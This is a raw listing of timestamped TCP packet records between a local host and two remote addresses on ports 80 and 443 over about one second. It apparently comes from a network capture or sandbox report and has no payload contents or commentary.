Oct 24, 2024 08:38:19.429790974 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.429826021 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.429845095 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.429861069 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.429898024 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.430059910 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.430099964 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.430151939 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.430196047 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.430238962 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.473388910 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.473476887 CEST	61011	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:19.474184990 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.474222898 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.474277973 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.474306107 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.474306107 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.474334002 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.474334955 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.474422932 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.475392103 CEST	61011	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:19.475404978 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.475807905 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.476970911 CEST	61011	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:19.476991892 CEST	61011	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:19.477049112 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.704313993 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704359055 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704385996 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704401970 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704418898 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704432964 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704432964 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.704449892 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704471111 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704478979 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.704488039 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704504967 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704557896 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.704557896 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.704557896 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.704761028 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704828978 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.704843044 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704860926 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704874039 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704889059 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704905033 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704917908 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.704919100 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.704922915 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704940081 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.704965115 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.704965115 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.704996109 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.705069065 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705112934 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.705185890 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705265045 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.705326080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705343008 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705368996 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705384016 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705400944 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.705400944 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.705400944 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.705409050 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705418110 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.705424070 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705440044 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705455065 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705470085 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705485106 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705502033 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.705878973 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.705878973 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.705878973 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.705878973 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.705878973 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.705878973 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.706249952 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.706274033 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.706290960 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.706305981 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.706325054 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.706327915 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.706327915 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.706327915 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.706340075 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.706456900 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.706456900 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.706456900 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.708066940 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.708084106 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.708100080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.708132029 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.708132029 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.708151102 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.741513968 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.741533041 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.741619110 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.741637945 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.741637945 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.741673946 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.741679907 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.741691113 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.741708040 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.741724014 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.741724014 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.741724014 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.741744995 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.741765976 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.742428064 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.742516041 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.742572069 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.742660046 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.742661953 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.742722034 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.742775917 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.742775917 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.781387091 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.781430960 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.781466961 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.781472921 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.781503916 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.781506062 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.781538010 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.781574965 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.781681061 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.781681061 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.781681061 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.781681061 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.825158119 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.825176001 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.825264931 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.825294018 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.825351000 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.825484037 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.825622082 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.826220989 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.826283932 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.826318979 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.826328993 CEST	61011	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:19.826370001 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.826416016 CEST	61011	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:19.826430082 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.826512098 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.826566935 CEST	61011	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:19.851476908 CEST	61011	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:19.851500034 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.851514101 CEST	61011	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:19.851521969 CEST	443	61011	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.858428001 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.858511925 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.858527899 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.858544111 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.858560085 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.858663082 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.858663082 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.858663082 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.858663082 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.858663082 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.858875990 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.858892918 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.858908892 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.858923912 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.858932018 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.858944893 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.858968019 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.859535933 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.859586000 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.859601974 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.859642029 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.859668016 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.859668016 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.859668016 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.859687090 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.898407936 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.898423910 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.898447037 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.898457050 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.898552895 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.898552895 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.898612976 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.898665905 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.898679018 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.898694038 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.898713112 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.898745060 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.939922094 CEST	61012	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:19.939975977 CEST	443	61012	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.940053940 CEST	61012	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:19.940411091 CEST	61012	443	192.168.2.5	104.21.53.8
Oct 24, 2024 08:38:19.940428019 CEST	443	61012	104.21.53.8	192.168.2.5
Oct 24, 2024 08:38:19.942841053 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.942904949 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.942989111 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.943002939 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.943069935 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.975862980 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.975877047 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.976027012 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.976039886 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.976048946 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.976080894 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.976208925 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.976255894 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.976388931 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.976402044 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.976413965 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.976574898 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.976574898 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.976910114 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.976922035 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.976933956 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.977246046 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.977252960 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.977252960 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:19.977258921 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:19.977302074 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.015434980 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.015525103 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.015595913 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.015616894 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.015629053 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.015635967 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.015635967 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.015669107 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.016030073 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.016041040 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.016146898 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.059757948 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.059773922 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.059844017 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.060077906 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.060090065 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.060264111 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.093122005 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.093272924 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.093283892 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.093295097 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.093308926 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.093446970 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.093450069 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.093450069 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.093461037 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.093518019 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.094252110 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.094264984 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.094388962 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.094392061 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.094546080 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.094563007 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.094574928 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.094588995 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.094599962 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.094628096 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.094734907 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.132601023 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.132714987 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.132725000 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.132751942 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.132764101 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.132807016 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.132807016 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.132807016 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.133114100 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.133160114 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.133182049 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.133208990 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.175961018 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.175987959 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.176000118 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.176150084 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.176384926 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.176656961 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.176671028 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.176682949 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.176772118 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.210022926 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.210040092 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.210047007 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.210052967 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.210289001 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.210309029 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.210320950 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.210325003 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.210374117 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.210448980 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.210736990 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.210809946 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.210813046 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.210820913 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.210828066 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.210833073 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.210978985 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.211570978 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.211642981 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.211671114 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.211780071 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.250010967 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.250080109 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.250112057 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.250147104 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.250220060 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.250417948 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.292006969 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.292021990 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.292035103 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.292120934 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.292195082 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.293148994 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.293162107 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.293174028 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.293390989 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.293797016 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.293807983 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.293819904 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.293905020 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.293905020 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.327060938 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.327209949 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.327220917 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.327233076 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.327245951 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.327258110 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.327280045 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.327404976 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.327481985 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:20.327903986 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.327925920 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.327938080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:20.327965975 CEST	61010	80	192.168.2.5	185.215.113.16
